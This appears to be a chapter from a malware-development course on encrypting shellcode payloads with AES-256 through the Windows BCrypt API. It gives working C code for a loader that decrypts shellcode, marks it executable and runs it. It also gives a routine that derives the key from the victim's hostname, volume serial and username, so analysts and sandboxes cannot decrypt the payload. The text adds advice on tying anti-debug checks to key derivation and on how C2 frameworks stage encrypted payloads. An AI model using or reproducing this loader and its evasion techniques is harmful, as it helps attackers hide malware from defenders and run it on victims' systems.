AES Payload Encryption
When a malware analyst extracts your loader from a compromised system, their first action is often extracting the encrypted payload blob and attempting to decrypt it offline — without executing any code. XOR and RC4 are trivially identified and decrypted in Ghidra's scripting console. AES-256-CBC (or AES-256-GCM) requires the correct 256-bit key and IV, and with properly randomized keys, offline decryption is computationally infeasible. This chapter covers AES implementation using Windows BCrypt (the modern CNG API), the pitfall of hard-coded keys, and how to derive keys at runtime from environmental data so that even a copy of the binary can't be decrypted outside the victim's environment.
AES-256-CBC via Windows BCrypt (CNG)
/* aes_payload.c — AES-256-CBC payload decryption via Windows CNG API
Windows ships BCrypt (Cryptography Next Generation) — a modern,
standards-compliant crypto API that supports AES-256.
Using BCrypt means:
- No third-party libraries (smaller, no library detection)
- Hardware AES-NI acceleration on modern CPUs
- FIPS-compliant implementation
CNG API key functions:
BCryptOpenAlgorithmProvider() → get algorithm handle
BCryptSetProperty() → configure mode (CBC, GCM, etc.)
BCryptGenerateSymmetricKey() → create key object from raw key bytes
BCryptDecrypt() → decrypt data in-place or to output buffer
BCryptDestroyKey() → zero and free key material
BCryptCloseAlgorithmProvider()→ release algorithm handle
*/
#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
#pragma comment(lib, "bcrypt.lib")
#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)
/* AES-256 parameters */
#define AES_KEY_LEN 32 /* 256 bits */
#define AES_IV_LEN 16 /* 128-bit IV for CBC/GCM */
#define AES_BLOCK_SIZE 16 /* AES block size always 16 bytes */
typedef struct {
BCRYPT_ALG_HANDLE hAlg;
BCRYPT_KEY_HANDLE hKey;
BYTE iv[AES_IV_LEN]; /* copy of IV (BCrypt modifies it during CBC) */
BOOL initialized;
} AES_CTX;
/* ── Initialize AES-256-CBC context ─────────────────────────────────── */
BOOL aes_init(AES_CTX *ctx, const BYTE *key, const BYTE *iv) {
memset(ctx, 0, sizeof(*ctx));
/* Open AES algorithm provider */
NTSTATUS st = BCryptOpenAlgorithmProvider(
&ctx->hAlg,
BCRYPT_AES_ALGORITHM, /* "AES" */
NULL, /* use MS implementation */
0
);
if (!NT_SUCCESS(st)) {
printf("[-] BCryptOpenAlgorithmProvider: 0x%08lX\n", st);
return FALSE;
}
/* Set mode to CBC (default is ECB) */
st = BCryptSetProperty(
ctx->hAlg,
BCRYPT_CHAINING_MODE,
(PBYTE)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC),
0
);
if (!NT_SUCCESS(st)) {
BCryptCloseAlgorithmProvider(ctx->hAlg, 0);
return FALSE;
}
/* Calculate key object size (depends on algorithm/provider) */
DWORD key_obj_size = 0, bytes_needed = 0;
BCryptGetProperty(ctx->hAlg, BCRYPT_OBJECT_LENGTH,
(PBYTE)&key_obj_size, sizeof(key_obj_size), &bytes_needed, 0);
PBYTE key_obj = (PBYTE)HeapAlloc(GetProcessHeap(), 0, key_obj_size);
if (!key_obj) { BCryptCloseAlgorithmProvider(ctx->hAlg, 0); return FALSE; }
/* Generate key from raw bytes */
st = BCryptGenerateSymmetricKey(
ctx->hAlg,
&ctx->hKey,
key_obj, /* key object storage (BCrypt uses this internally) */
key_obj_size,
(PBYTE)key, /* raw key bytes */
AES_KEY_LEN, /* 32 bytes = AES-256 */
0
);
if (!NT_SUCCESS(st)) {
HeapFree(GetProcessHeap(), 0, key_obj);
BCryptCloseAlgorithmProvider(ctx->hAlg, 0);
return FALSE;
}
/* Store IV (BCrypt modifies the IV buffer during CBC operations) */
memcpy(ctx->iv, iv, AES_IV_LEN);
ctx->initialized = TRUE;
/* key_obj is now owned by hKey — don't free it manually */
printf("[+] AES-256-CBC context initialized\n");
return TRUE;
}
/* ── Decrypt payload in-place ────────────────────────────────────────── */
/*
* AES-CBC decrypt: output size == input size (block-aligned input required).
* The plaintext may have PKCS#7 padding — strip it after decryption.
*/
BOOL aes_decrypt(AES_CTX *ctx, PBYTE ciphertext, DWORD ct_len,
PBYTE *plaintext_out, DWORD *pt_len_out) {
if (!ctx->initialized) return FALSE;
/* Allocate output buffer (same size as ciphertext for CBC) */
PBYTE pt = (PBYTE)VirtualAlloc(NULL, ct_len, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
if (!pt) return FALSE;
BYTE iv_copy[AES_IV_LEN];
memcpy(iv_copy, ctx->iv, AES_IV_LEN); /* BCrypt modifies the IV in place */
DWORD pt_len = 0;
NTSTATUS st = BCryptDecrypt(
ctx->hKey,
ciphertext, ct_len,
NULL, /* padding info (NULL for CBC) */
iv_copy, /* IV (modified in place — use fresh copy each call) */
AES_IV_LEN,
pt, ct_len,
&pt_len,
BCRYPT_BLOCK_PADDING /* strip PKCS#7 padding */
);
if (!NT_SUCCESS(st)) {
printf("[-] BCryptDecrypt: 0x%08lX\n", st);
VirtualFree(pt, 0, MEM_RELEASE);
return FALSE;
}
printf("[+] Decrypted: %lu bytes (from %lu ciphertext)\n", pt_len, ct_len);
*plaintext_out = pt;
*pt_len_out = pt_len;
return TRUE;
}
/* ── Cleanup ─────────────────────────────────────────────────────────── */
void aes_cleanup(AES_CTX *ctx) {
if (ctx->hKey) BCryptDestroyKey(ctx->hKey);
if (ctx->hAlg) BCryptCloseAlgorithmProvider(ctx->hAlg, 0);
SecureZeroMemory(ctx, sizeof(*ctx));
}
/* ── Full AES loader ─────────────────────────────────────────────────── */
BOOL aes_loader(const BYTE *enc_payload, DWORD enc_len,
const BYTE *key, const BYTE *iv) {
AES_CTX ctx;
if (!aes_init(&ctx, key, iv)) return FALSE;
PBYTE shellcode = NULL;
DWORD sc_len = 0;
if (!aes_decrypt(&ctx, (PBYTE)enc_payload, enc_len, &shellcode, &sc_len)) {
aes_cleanup(&ctx);
return FALSE;
}
aes_cleanup(&ctx);
/* Change RW allocation to RX and execute */
DWORD old;
VirtualProtect(shellcode, sc_len, PAGE_EXECUTE_READ, &old);
printf("[+] Executing decrypted shellcode (%lu bytes)\n", sc_len);
((void(*)())shellcode)();
SecureZeroMemory(shellcode, sc_len);
VirtualFree(shellcode, 0, MEM_RELEASE);
return TRUE;
}Environmental Keying
Problem with hard-coded keys:
─────────────────────────────────────────────────────────────────────────
The key and IV are embedded in the binary.
Analyst extracts binary → finds key → decrypts payload offline.
No need to run the code at all.
Environmental keying:
─────────────────────────────────────────────────────────────────────────
Instead of embedding the key directly, derive it from properties of
the specific target machine:
- Machine SID (unique per installation)
- Volume serial number of the system drive (set at format time)
- NetBIOS computer name
- Username + domain name
These properties are known to the attacker during reconnaissance
(via LDAP/AD queries, or by testing with a VM that mimics the target).
Workflow:
1. Attacker chooses target: e.g., CORP\jdoe on machine WORKSTATION42
2. Generates AES key from: SHA-256("CORP" + "jdoe" + "WORKSTATION42" + salt)
3. Encrypts payload with this key
4. Delivers binary to victim
What happens when analyst runs binary on a different machine (sandbox):
- Sandbox machine name ≠ WORKSTATION42
- Key derivation produces wrong key
- AES decryption fails → shellcode is garbage → binary appears non-functional
What happens on the real target (WORKSTATION42 with CORP\jdoe):
- Key derivation produces correct key
- Payload decrypts and runs
Limitation:
If you don't know the specific target machine properties beforehand,
environmental keying based on specific names doesn't work.
Use broader "requires real Windows install" checks instead:
- Require machine to be domain-joined (fails in sandbox)
- Require volume serial number to be non-zero
- Require ≥8 CPU logical processors (most sandboxes: 1-2)/* ── Environmental key derivation ────────────────────────────────────── */
/*
* Derive AES key from machine properties at runtime.
* The binary contains no key — the key is computed fresh each time.
* Only runs correctly on the intended target environment.
*/
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")
static BOOL derive_key_from_environment(BYTE *key_out) {
/* Collect environmental data */
char env_buf[512] = {0};
DWORD len;
/* Component 1: Computer name */
char hostname[MAX_COMPUTERNAME_LENGTH + 1];
DWORD hostname_len = sizeof(hostname);
GetComputerNameA(hostname, &hostname_len);
strcat(env_buf, hostname);
/* Component 2: Volume serial number of C:\ */
DWORD vol_serial = 0;
GetVolumeInformationA("C:\\", NULL, 0, &vol_serial, NULL, NULL, NULL, 0);
char serial_str[16];
sprintf(serial_str, "%08lX", vol_serial);
strcat(env_buf, serial_str);
/* Component 3: Username */
char username[64];
len = sizeof(username);
GetUserNameA(username, &len);
strcat(env_buf, username);
/* Component 4: fixed salt (prevent trivial key prediction if env is known) */
strcat(env_buf, "maldev_salt_2024");
/* SHA-256 the concatenated string → 32 bytes = AES-256 key */
BCRYPT_ALG_HANDLE hAlg;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA256_ALGORITHM, NULL, 0);
BCRYPT_HASH_HANDLE hHash;
BCryptCreateHash(hAlg, &hHash, NULL, 0, NULL, 0, 0);
BCryptHashData(hHash, (PBYTE)env_buf, (ULONG)strlen(env_buf), 0);
BCryptFinishHash(hHash, key_out, 32, 0);
BCryptDestroyHash(hHash);
BCryptCloseAlgorithmProvider(hAlg, 0);
SecureZeroMemory(env_buf, sizeof(env_buf));
printf("[+] AES key derived from environment: %s/%s/%s\n",
hostname, serial_str, username);
return TRUE;
}Questions & Answers
What's the difference between AES-CBC and AES-GCM, and which is better for payload encryption?
AES-CBC (Cipher Block Chaining) provides confidentiality only — it encrypts data such that each block depends on the previous block's ciphertext. It does not provide integrity or authenticity: an attacker who knows the structure of the plaintext can flip bits in the ciphertext to produce predictable changes in the plaintext (CBC bit-flipping attack). AES-GCM (Galois/Counter Mode) provides both confidentiality AND authenticated encryption — it produces an authentication tag that detects any modification to the ciphertext. For payload encryption where you control both the encryptor (Python build script) and the decryptor (the loader), AES-GCM is preferable: if an analyst or AV engine modifies the encrypted payload bytes, the decryptor's authentication tag check fails, and the loader knows the payload was tampered with. In BCrypt, use BCRYPT_CHAIN_MODE_GCM instead of CBC, and process the authentication tag separately.
Can an analyst extract the AES key from memory at runtime even if it's not hard-coded?
Yes — at the moment of decryption, the key must exist in plaintext in memory (either as the raw key bytes or in the BCrypt key object). A debugger can read the key from the BCrypt key object before decryption, or capture the plaintext shellcode immediately after decryption by placing a breakpoint on BCryptDecrypt's return. Environmental keying doesn't help against a live debugger — it just makes offline analysis harder. The countermeasure for runtime key capture: anti-debug checks from Chapter 52, executed before key derivation. If a debugger is detected, derive a wrong key (by XOR-ing the derived key with a constant if the debugger check fires), making the debugger run produce garbage output. This is one of the more sophisticated anti-analysis techniques used by high-end APT loaders.
How do major C2 frameworks like Cobalt Strike and Metasploit handle payload encryption?
Cobalt Strike's Beacon uses a layered approach: the raw shellcode is never embedded unencrypted. The stager (stage 1) downloads the full Beacon from the team server over HTTPS, which provides TLS encryption in transit. Stage 2 (the full Beacon DLL) is served from the server already XOR-encrypted with a per-session key, then decrypted in memory. Malleable C2 profiles allow customizing the staging protocol and encryption parameters. Metasploit's msfvenom has a --encrypt flag supporting XOR, RC4, and AES, generating a loader stub that decrypts the embedded payload. The quality of Metasploit's default encryption is poor (short, well-known keys, known decryption loop bytes) — most AV vendors specifically detect msfvenom-generated loaders by the decryption stub's byte pattern. Custom implementations using BCrypt are significantly more resistant.